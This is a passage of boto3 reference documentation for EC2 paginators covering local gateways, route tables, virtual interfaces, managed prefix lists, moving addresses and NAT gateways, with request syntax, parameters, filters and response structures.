+ +- **LocalGatewayRouteTableVirtualInterfaceGroupAssociationIds** (_list_) -- + + The IDs of the associations. + + - _(string) --_ +- **Filters** (_list_) -- + + One or more filters. + + - local-gateway-id - The ID of a local gateway. + - local-gateway-route-table-id - The ID of the local gateway route table. + - local-gateway-route-table-virtual-interface-group-association-id - The ID of the association. + - local-gateway-route-table-virtual-interface-group-id - The ID of the virtual interface group. + - state - The state of the association. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'LocalGatewayRouteTableVirtualInterfaceGroupAssociations': [ + { + 'LocalGatewayRouteTableVirtualInterfaceGroupAssociationId': 'string', + 'LocalGatewayVirtualInterfaceGroupId': 'string', + 'LocalGatewayId': 'string', + 'LocalGatewayRouteTableId': 'string', + 'LocalGatewayRouteTableArn': 'string', + 'OwnerId': 'string', + 'State': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **LocalGatewayRouteTableVirtualInterfaceGroupAssociations** _(list) --_ + + Information about the associations. + + - _(dict) --_ + + Describes an association between a local gateway route table and a virtual interface group. + + - **LocalGatewayRouteTableVirtualInterfaceGroupAssociationId** _(string) --_ + + The ID of the association. + + - **LocalGatewayVirtualInterfaceGroupId** _(string) --_ + + The ID of the virtual interface group. + + - **LocalGatewayId** _(string) --_ + + The ID of the local gateway. + + - **LocalGatewayRouteTableId** _(string) --_ + + The ID of the local gateway route table. + + - **LocalGatewayRouteTableArn** _(string) --_ + + The Amazon Resource Name (ARN) of the local gateway route table for the virtual interface group. + + - **OwnerId** _(string) --_ + + The AWS account ID that owns the local gateway virtual interface group association. + + - **State** _(string) --_ + + The state of the association. + + - **Tags** _(list) --_ + + The tags assigned to the association. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +_class_ EC2.Paginator.DescribeLocalGatewayRouteTableVpcAssociationsthis definition") + +paginator = client.get_paginator('describe_local_gateway_route_table_vpc_associations') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_local_gateway_route_table_vpc_associations()](#EC2.Client.describe_local_gateway_route_table_vpc_associations "EC2.Client.describe_local_gateway_route_table_vpc_associations"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeLocalGatewayRouteTableVpcAssociations) + +**Request Syntax** + +response_iterator = paginator.paginate( + LocalGatewayRouteTableVpcAssociationIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **LocalGatewayRouteTableVpcAssociationIds** (_list_) -- + + The IDs of the associations. + + - _(string) --_ +- **Filters** (_list_) -- + + One or more filters. + + - local-gateway-id - The ID of a local gateway. + - local-gateway-route-table-id - The ID of the local gateway route table. + - local-gateway-route-table-vpc-association-id - The ID of the association. + - state - The state of the association. + - vpc-id - The ID of the VPC. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'LocalGatewayRouteTableVpcAssociations': [ + { + 'LocalGatewayRouteTableVpcAssociationId': 'string', + 'LocalGatewayRouteTableId': 'string', + 'LocalGatewayRouteTableArn': 'string', + 'LocalGatewayId': 'string', + 'VpcId': 'string', + 'OwnerId': 'string', + 'State': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **LocalGatewayRouteTableVpcAssociations** _(list) --_ + + Information about the associations. + + - _(dict) --_ + + Describes an association between a local gateway route table and a VPC. + + - **LocalGatewayRouteTableVpcAssociationId** _(string) --_ + + The ID of the association. + + - **LocalGatewayRouteTableId** _(string) --_ + + The ID of the local gateway route table. + + - **LocalGatewayRouteTableArn** _(string) --_ + + The Amazon Resource Name (ARN) of the local gateway route table for the association. + + - **LocalGatewayId** _(string) --_ + + The ID of the local gateway. + + - **VpcId** _(string) --_ + + The ID of the VPC. + + - **OwnerId** _(string) --_ + + The AWS account ID that owns the local gateway route table for the association. + + - **State** _(string) --_ + + The state of the association. + + - **Tags** _(list) --_ + + The tags assigned to the association. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +_class_ EC2.Paginator.DescribeLocalGatewayRouteTables + +paginator = client.get_paginator('describe_local_gateway_route_tables') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_local_gateway_route_tables()](#EC2.Client.describe_local_gateway_route_tables "EC2.Client.describe_local_gateway_route_tables"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeLocalGatewayRouteTables) + +**Request Syntax** + +response_iterator = paginator.paginate( + LocalGatewayRouteTableIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **LocalGatewayRouteTableIds** (_list_) -- + + The IDs of the local gateway route tables. + + - _(string) --_ +- **Filters** (_list_) -- + + One or more filters. + + - local-gateway-id - The ID of a local gateway. + - local-gateway-route-table-id - The ID of a local gateway route table. + - outpost-arn - The Amazon Resource Name (ARN) of the Outpost. + - state - The state of the local gateway route table. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'LocalGatewayRouteTables': [ + { + 'LocalGatewayRouteTableId': 'string', + 'LocalGatewayRouteTableArn': 'string', + 'LocalGatewayId': 'string', + 'OutpostArn': 'string', + 'OwnerId': 'string', + 'State': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **LocalGatewayRouteTables** _(list) --_ + + Information about the local gateway route tables. + + - _(dict) --_ + + Describes a local gateway route table. + + - **LocalGatewayRouteTableId** _(string) --_ + + The ID of the local gateway route table. + + - **LocalGatewayRouteTableArn** _(string) --_ + + The Amazon Resource Name (ARN) of the local gateway route table. + + - **LocalGatewayId** _(string) --_ + + The ID of the local gateway. + + - **OutpostArn** _(string) --_ + + The Amazon Resource Name (ARN) of the Outpost. + + - **OwnerId** _(string) --_ + + The AWS account ID that owns the local gateway route table. + + - **State** _(string) --_ + + The state of the local gateway route table. + + - **Tags** _(list) --_ + + The tags assigned to the local gateway route table. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +_class_ EC2.Paginator.DescribeLocalGatewayVirtualInterfaceGroupsdefinition") + +paginator = client.get_paginator('describe_local_gateway_virtual_interface_groups') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_local_gateway_virtual_interface_groups()](#EC2.Client.describe_local_gateway_virtual_interface_groups "EC2.Client.describe_local_gateway_virtual_interface_groups"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeLocalGatewayVirtualInterfaceGroups) + +**Request Syntax** + +response_iterator = paginator.paginate( + LocalGatewayVirtualInterfaceGroupIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **LocalGatewayVirtualInterfaceGroupIds** (_list_) -- + + The IDs of the virtual interface groups. + + - _(string) --_ +- **Filters** (_list_) -- + + One or more filters. + + - local-gateway-id - The ID of a local gateway. + - local-gateway-virtual-interface-id - The ID of the virtual interface. + - local-gateway-virtual-interface-group-id - The ID of the virtual interface group. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'LocalGatewayVirtualInterfaceGroups': [ + { + 'LocalGatewayVirtualInterfaceGroupId': 'string', + 'LocalGatewayVirtualInterfaceIds': [ + 'string', + ], + 'LocalGatewayId': 'string', + 'OwnerId': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **LocalGatewayVirtualInterfaceGroups** _(list) --_ + + The virtual interface groups. + + - _(dict) --_ + + Describes a local gateway virtual interface group. + + - **LocalGatewayVirtualInterfaceGroupId** _(string) --_ + + The ID of the virtual interface group. + + - **LocalGatewayVirtualInterfaceIds** _(list) --_ + + The IDs of the virtual interfaces. + + - _(string) --_ + - **LocalGatewayId** _(string) --_ + + The ID of the local gateway. + + - **OwnerId** _(string) --_ + + The AWS account ID that owns the local gateway virtual interface group. + + - **Tags** _(list) --_ + + The tags assigned to the virtual interface group. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +_class_ EC2.Paginator.DescribeLocalGatewayVirtualInterfaces + +paginator = client.get_paginator('describe_local_gateway_virtual_interfaces') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_local_gateway_virtual_interfaces()](#EC2.Client.describe_local_gateway_virtual_interfaces "EC2.Client.describe_local_gateway_virtual_interfaces"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeLocalGatewayVirtualInterfaces) + +**Request Syntax** + +response_iterator = paginator.paginate( + LocalGatewayVirtualInterfaceIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **LocalGatewayVirtualInterfaceIds** (_list_) -- + + The IDs of the virtual interfaces. + + - _(string) --_ +- **Filters** (_list_) -- + + One or more filters. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'LocalGatewayVirtualInterfaces': [ + { + 'LocalGatewayVirtualInterfaceId': 'string', + 'LocalGatewayId': 'string', + 'Vlan': 123, + 'LocalAddress': 'string', + 'PeerAddress': 'string', + 'LocalBgpAsn': 123, + 'PeerBgpAsn': 123, + 'OwnerId': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **LocalGatewayVirtualInterfaces** _(list) --_ + + Information about the virtual interfaces. + + - _(dict) --_ + + Describes a local gateway virtual interface. + + - **LocalGatewayVirtualInterfaceId** _(string) --_ + + The ID of the virtual interface. + + - **LocalGatewayId** _(string) --_ + + The ID of the local gateway. + + - **Vlan** _(integer) --_ + + The ID of the VLAN. + + - **LocalAddress** _(string) --_ + + The local address. + + - **PeerAddress** _(string) --_ + + The peer address. + + - **LocalBgpAsn** _(integer) --_ + + The Border Gateway Protocol (BGP) Autonomous System Number (ASN) of the local gateway. + + - **PeerBgpAsn** _(integer) --_ + + The peer BGP ASN. + + - **OwnerId** _(string) --_ + + The AWS account ID that owns the local gateway virtual interface. + + - **Tags** _(list) --_ + + The tags assigned to the virtual interface. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +_class_ EC2.Paginator.DescribeLocalGateways + +paginator = client.get_paginator('describe_local_gateways') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_local_gateways()](#EC2.Client.describe_local_gateways "EC2.Client.describe_local_gateways"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeLocalGateways) + +**Request Syntax** + +response_iterator = paginator.paginate( + LocalGatewayIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **LocalGatewayIds** (_list_) -- + + One or more filters. + + - local-gateway-id - The ID of a local gateway. + - local-gateway-route-table-id - The ID of the local gateway route table. + - local-gateway-route-table-virtual-interface-group-association-id - The ID of the association. + - local-gateway-route-table-virtual-interface-group-id - The ID of the virtual interface group. + - outpost-arn - The Amazon Resource Name (ARN) of the Outpost. + - state - The state of the association. + + - _(string) --_ +- **Filters** (_list_) -- + + One or more filters. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'LocalGateways': [ + { + 'LocalGatewayId': 'string', + 'OutpostArn': 'string', + 'OwnerId': 'string', + 'State': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **LocalGateways** _(list) --_ + + Information about the local gateways. + + - _(dict) --_ + + Describes a local gateway. + + - **LocalGatewayId** _(string) --_ + + The ID of the local gateway. + + - **OutpostArn** _(string) --_ + + The Amazon Resource Name (ARN) of the Outpost. + + - **OwnerId** _(string) --_ + + The AWS account ID that owns the local gateway. + + - **State** _(string) --_ + + The state of the local gateway. + + - **Tags** _(list) --_ + + The tags assigned to the local gateway. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +_class_ EC2.Paginator.DescribeManagedPrefixLists + +paginator = client.get_paginator('describe_managed_prefix_lists') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_managed_prefix_lists()](#EC2.Client.describe_managed_prefix_lists "EC2.Client.describe_managed_prefix_lists"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeManagedPrefixLists) + +**Request Syntax** + +response_iterator = paginator.paginate( + DryRun=True|False, + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + PrefixListIds=[ + 'string', + ], + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Filters** (_list_) -- + + One or more filters. + + - owner-id - The ID of the prefix list owner. + - prefix-list-id - The ID of the prefix list. + - prefix-list-name - The name of the prefix list. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **PrefixListIds** (_list_) -- + + One or more prefix list IDs. + + - _(string) --_ +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'PrefixLists': [ + { + 'PrefixListId': 'string', + 'AddressFamily': 'string', + 'State': 'create-in-progress'|'create-complete'|'create-failed'|'modify-in-progress'|'modify-complete'|'modify-failed'|'restore-in-progress'|'restore-complete'|'restore-failed'|'delete-in-progress'|'delete-complete'|'delete-failed', + 'StateMessage': 'string', + 'PrefixListArn': 'string', + 'PrefixListName': 'string', + 'MaxEntries': 123, + 'Version': 123, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'OwnerId': 'string' + }, + ] +} + +**Response Structure** + +- _(dict) --_ + + - **PrefixLists** _(list) --_ + + Information about the prefix lists. + + - _(dict) --_ + + Describes a managed prefix list. + + - **PrefixListId** _(string) --_ + + The ID of the prefix list. + + - **AddressFamily** _(string) --_ + + The IP address version. + + - **State** _(string) --_ + + The state of the prefix list. + + - **StateMessage** _(string) --_ + + The state message. + + - **PrefixListArn** _(string) --_ + + The Amazon Resource Name (ARN) for the prefix list. + + - **PrefixListName** _(string) --_ + + The name of the prefix list. + + - **MaxEntries** _(integer) --_ + + The maximum number of entries for the prefix list. + + - **Version** _(integer) --_ + + The version of the prefix list. + + - **Tags** _(list) --_ + + The tags for the prefix list. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + - **OwnerId** _(string) --_ + + The ID of the owner of the prefix list. + + +_class_ EC2.Paginator.DescribeMovingAddresses + +paginator = client.get_paginator('describe_moving_addresses') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_moving_addresses()](#EC2.Client.describe_moving_addresses "EC2.Client.describe_moving_addresses"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeMovingAddresses) + +**Request Syntax** + +response_iterator = paginator.paginate( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + PublicIps=[ + 'string', + ], + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **Filters** (_list_) -- + + One or more filters. + + - moving-status - The status of the Elastic IP address (MovingToVpc | RestoringToClassic ). + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **PublicIps** (_list_) -- + + One or more Elastic IP addresses. + + - _(string) --_ +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'MovingAddressStatuses': [ + { + 'MoveStatus': 'movingToVpc'|'restoringToClassic', + 'PublicIp': 'string' + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **MovingAddressStatuses** _(list) --_ + + The status for each Elastic IP address. + + - _(dict) --_ + + Describes the status of a moving Elastic IP address. + + - **MoveStatus** _(string) --_ + + The status of the Elastic IP address that's being moved to the EC2-VPC platform, or restored to the EC2-Classic platform. + + - **PublicIp** _(string) --_ + + The Elastic IP address. + + +_class_ EC2.Paginator.DescribeNatGateways + +paginator = client.get_paginator('describe_nat_gateways') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_nat_gateways()](#EC2.Client.describe_nat_gateways "EC2.Client.describe_nat_gateways"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNatGateways) + +**Request Syntax** + +response_iterator = paginator.paginate( + DryRun=True|False, + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + NatGatewayIds=[ + 'string', + ], + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Filters** (_list_) -- + + One or more filters. + + - nat-gateway-id - The ID of the NAT gateway. + - state - The state of the NAT gateway (pending | failed | available | deleting | deleted ). + - subnet-id - The ID of the subnet in which the NAT gateway resides. + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + - vpc-id - The ID of the VPC in which the NAT gateway resides. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **NatGatewayIds** (_list_) -- + + One or more NAT gateway IDs. + + - _(string) --_ +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'NatGateways': [ + { + 'CreateTime': datetime(2015, 1, 1), + 'DeleteTime': datetime(2015, 1, 1), + 'FailureCode': 'string', + 'FailureMessage': 'string', + 'NatGatewayAddresses': [ + { + 'AllocationId': 'string', + 'NetworkInterfaceId': 'string', + 'PrivateIp': 'string', + 'PublicIp': 